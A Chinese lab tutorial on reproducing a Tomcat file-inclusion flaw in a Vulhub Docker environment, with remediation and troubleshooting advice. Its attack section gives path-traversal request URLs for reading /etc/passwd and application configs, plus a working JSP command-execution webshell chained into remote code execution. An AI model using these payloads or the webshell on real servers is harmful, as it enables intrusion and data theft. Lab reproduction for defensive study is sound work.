这是验证LFI漏洞最经典的测试。构造请求http://靶机IP:8080/vuln.jsp?filename../../../../../../etc/passwd为什么这么多../因为我们要从Web应用的根目录例如/usr/local/tomcat/webapps/ROOT穿越到Linux系统的根目录/。../的数量需要足够多以确保能“跳出去”。如果请求成功响应内容中应该会出现/etc/passwd文件的内容你会看到以root:x:0:0:开头的多行文本。读取Web应用配置文件 对于攻击者来说/etc/passwd可能只是开胃菜真正的“宝藏”是Web应用自身的配置文件。在Java Web应用中WEB-INF目录通常包含web.xml部署描述符和classes目录存放编译后的Java类文件和属性文件。 尝试读取web.xmlhttp://靶机IP:8080/vuln.jsp?filenameWEB-INF/web.xml注意这里可能不需要../因为WEB-INF通常和你的JSP页面在同一应用根目录下。web.xml里可能定义了数据库连接池等敏感信息。 更进一步尝试读取数据库配置文件http://靶机IP:8080/vuln.jsp?filename../../WEB-INF/classes/db.properties或者尝试不同的路径穿越组合。利用技巧空字节截断历史技巧 在一些老版本的Java/Tomcat环境中攻击者会在文件名后添加空字节%00来截断后面的后缀。例如如果代码是include(filename “.jsp”)攻击者传入../../../etc/passwd%00拼接后变成../../../etc/passwd%00.jsp服务器在处理时空字节可能会被当作字符串结束符从而只读取/etc/passwd。但请注意在较新的JDK和Tomcat中空字节截断通常已被修复。不过在复现历史漏洞或特定环境时这仍是一个值得尝试的思路。实际操作演示 我们打开浏览器或使用curl命令。假设靶场IP是192.168.1.100漏洞点在/include.jsp。curl http://192.168.1.100:8080/include.jsp?file../../../../etc/passwd如果返回了/etc/passwd的内容恭喜你漏洞复现成功你可以清晰地看到Tomcat进程是以什么用户运行的通常是tomcat或root以及系统有哪些用户。4.3 漏洞利用的进阶尝试从文件包含到代码执行仅仅读取文件可能还不够“刺激”。安全研究的深度在于探索漏洞的最大危害。对于文件包含漏洞我们梦想的终点是“远程代码执行”RCE。这需要一些额外的条件配合。思路如果服务器允许我们上传文件到某个可访问的目录比如通过应用的文件上传功能或者利用其他漏洞上传一个文本文件并且我们能够通过文件包含漏洞去“包含”这个上传的文件那么就有可能执行其中的代码。寻找文件上传点首先需要检查靶场应用是否有上传功能。可以再次使用目录扫描工具寻找upload.jspfile-upload等路径。上传WebShell如果存在上传点并且过滤不严例如只检查了前端或者没有检查文件内容我们可以尝试上传一个特制的JSP WebShell。一个最简单的JSP Shell如下保存为shell.jsp% page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); if (cmd ! null) { Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %这个JSP页面会接收一个cmd参数并在服务器上执行它将结果返回给浏览器。组合利用假设我们通过上传功能将shell.jsp上传到了服务器上的/uploads/shell.jsp这个路径是我们通过响应或猜测得知的。然后我们利用文件包含漏洞去包含这个上传的JSP文件。请求可能像这样http://靶机IP:8080/vuln.jsp?filename../uploads/shell.jsp如果包含成功这个JSP文件就会被Tomcat解析执行。此时我们再直接访问WebShell或者通过包含后的页面传递命令参数http://靶机IP:8080/uploads/shell.jsp?cmdid如果页面上返回了当前运行Tomcat的用户ID信息如uid1000(tomcat)那么RCE就成功了。重要警告在Vulhub靶场中这种RCE场景不一定能直接复现因为靶场环境可能故意没有设置文件上传功能或者权限控制很严格。这个环节主要是为了演示文件包含漏洞在理想条件下的完整攻击链。在实际渗透测试中这种“组合拳”是攻击者常用的手段。5. 漏洞根因分析与修复方案5.1 代码层面问题剖析要真正理解一个漏洞最好能看看有问题的代码。虽然我们看不到Tomcat官方的漏洞代码细节但可以根据漏洞描述和同类漏洞的原理进行推理。文件包含漏洞的根源几乎总是未经验证的用户输入直接拼接到了文件系统操作路径中。假设存在漏洞的Servlet或JSP代码如下String filePath request.getParameter(file); // 危险操作直接将用户输入拼接到基础路径上 String fullPath /var/www/webapp/ filePath; // 然后去读取或包含 fullPath或者在一些JSP标签中jsp:include page% request.getParameter(\page\) % /攻击者通过输入../../../etc/passwd就成功操控了fullPath的最终值使其指向了系统敏感文件。更深层的原因可能在于Tomcat对RequestDispatcher的include方法或者在处理JSP的jsp:include、% include %时对相对路径的解析逻辑存在缺陷未能正确地将路径限制在当前Web应用的上下文Context根目录之内。特别是在某些特定的配置组合下比如使用了某种特定的阀门Valve或者过滤器Filter这种安全检查被绕过。5.2 官方修复与安全加固建议Apache Tomcat团队在收到漏洞报告后会发布安全更新。对于CVE-2024-1938修复方案通常是升级到安全版本这是最根本、最有效的解决方案。前往Apache Tomcat官网下载并升级到不受该漏洞影响的版本。对于受影响的8.5.x和9.0.x分支应升级到官方声明已修复的版本之后例如8.5.97或9.0.87具体版本号需查阅官方安全公告。代码层面修复修复会集中在路径规范化normalize和安全检查的逻辑上。例如在将用户提供的路径参数用于文件操作之前必须进行严格的校验绝对路径检查拒绝任何以/开头的绝对路径。路径遍历检查检查参数中是否包含..序列如果包含则要么拒绝请求要么在拼接前进行规范化并确保最终路径没有超出Web应用的根目录。白名单机制如果可能使用基于已知安全文件列表的白名单只允许包含特定的、预定义的文件。使用安全的API使用ServletContext.getResource()或getResourceAsStream()方法来获取资源这些方法通常会将路径限制在当前Web应用上下文内。对于开发者和运维人员的安全加固建议输入验证与过滤对所有用户输入进行“消毒”。对于文件包含参数不仅要过滤..和/还要注意各种编码和双编码的绕过如%2e%2e/..%252f。最小权限原则运行Tomcat的进程用户如tomcat应该是一个非特权用户并且只拥有其Web应用目录的必要读写权限绝不能以root身份运行。这样即使漏洞被利用攻击者能读取的文件范围也受到极大限制。部署Web应用防火墙WAF在Tomcat前端部署WAF可以配置规则来拦截包含路径遍历序列的恶意请求。定期更新与安全审计保持Tomcat及其依赖库如JDK更新到最新稳定版。定期对自有代码进行安全审计特别是涉及文件操作、路径拼接的地方。移除不必要的功能和文件在生产环境中移除Tomcat默认的示例应用webapps/examples、管理控制台webapps/manager和webapps/host-manager如果不需要的话以及任何未使用的文档。减少攻击面。6. 复现过程中的常见问题与排查实录即使按照步骤操作复现过程也可能遇到各种问题。下面是我在多次搭建和教学过程中总结的一些常见“坑”及其解决方法。6.1 环境搭建与启动问题问题1执行docker-compose up -d时报错提示“Cannot connect to the Docker daemon”。原因Docker服务没有运行或者当前用户没有权限连接Docker守护进程。排查检查Docker服务状态sudo systemctl status docker。如果没运行则启动它sudo systemctl start docker。确保当前用户已加入docker组见2.2节并且已经重新登录终端。也可以暂时用sudo执行命令sudo docker-compose up -d。问题2端口冲突。启动时提示“Bind for 0.0.0.0:8080 failed: port is already allocated”。原因宿主机的8080端口已经被其他程序可能是另一个Tomcat、Jenkins等占用。解决修改docker-compose.yml文件。找到ports配置将“8080:8080”改为其他未被占用的端口如“8088:8080”。左边是宿主机端口右边是容器内端口。或者先停止占用端口的进程sudo lsof -i:8080查看进程ID然后用kill命令停止它确保该进程不重要。问题3下载Docker镜像速度极慢或超时。原因默认Docker Hub镜像源在国内访问可能较慢。解决为Docker配置国内镜像加速器。编辑/etc/docker/daemon.json文件没有则创建{ “registry-mirrors”: [ “https://docker.mirrors.ustc.edu.cn” “https://hub-mirror.c.163.com” ] }然后重启Docker服务sudo systemctl restart docker。6.2 漏洞利用不成功问题问题4访问靶场IP:端口显示“Connection refused”或无法连接。排查确认容器状态docker-compose ps查看容器是否为Up状态。查看容器日志docker-compose logs可以查看Tomcat的启动日志也许Tomcat启动失败了例如端口冲突、内存不足。日志里会有明确的错误信息。检查防火墙如果是云服务器确保安全组规则放行了对应端口。本地虚拟机则检查ufw或firewalld状态。问题5按照POC发送请求但返回404、500错误或者没有读取到文件内容。可能原因及排查路径不对Vulhub的漏洞利用路径可能不是简单的/。仔细阅读漏洞目录下的README或任何说明文件。有时漏洞路径是/examples/servlet/XXX。参数名不对漏洞参数可能不是file或filename可能是page、name、include等。可以尝试用ffuf或wfuzz等工具进行参数模糊测试。路径穿越深度不足../的数量不够没能跳出Web应用目录。可以不断增加../的数量尝试如从../../../一直尝试到../../../../../../../../。漏洞利用有特定条件CVE-2024-1938可能需要特定的配置如启用了某个功能模块或特定的请求方式如POST请求。再次仔细阅读漏洞公告和Vulhub说明。靶场环境问题极少数情况下镜像可能没有正确构建。可以尝试彻底重建docker-compose down -v-v会删除数据卷然后docker-compose up -d --build--build会重新构建镜像。问题6成功读取到/etc/passwd但想读/etc/shadow时被拒绝。原因这是正常且期望的安全表现。/etc/shadow文件存储加密后的用户密码只有root用户有读取权限。Tomcat进程通常以非root用户如tomcat运行自然没有权限读取。这说明即使存在漏洞系统层面的权限最小化原则也起到了限制作用。6.3 实验后清理与资源管理问题7实验做完后如何彻底清理环境正确操作在漏洞复现的目录即docker-compose.yml所在目录下执行sudo docker-compose down -vdown命令会停止并删除容器。-v参数会同时删除Docker Compose中定义的所有匿名数据卷确保不留任何数据垃圾。如果想保留数据用于下次实验则不要加-v。问题8磁盘空间被Docker镜像占满。清理无用镜像定期清理不再使用的Docker镜像、容器和缓存。# 删除所有已停止的容器 docker container prune # 删除所有未被使用的镜像谨慎会删除所有未被容器引用的镜像 docker image prune -a # 删除所有未被使用的数据卷非常谨慎确保数据已备份 docker volume prune # 一键清理所有无用资源 docker system prune -a复现漏洞不仅是按部就班地执行POC更是一个不断遇到问题、分析问题、解决问题的过程。每一次排查都是对网络、系统、中间件知识的一次巩固。当你成功看到/etc/passwd的内容在浏览器中显示出来时那种对漏洞原理豁然开朗的感觉正是安全研究最大的乐趣之一。希望这篇详细的记录能帮你绕过我踩过的那些坑顺利复现CVE-2024-1938并从中获得更深入的理解。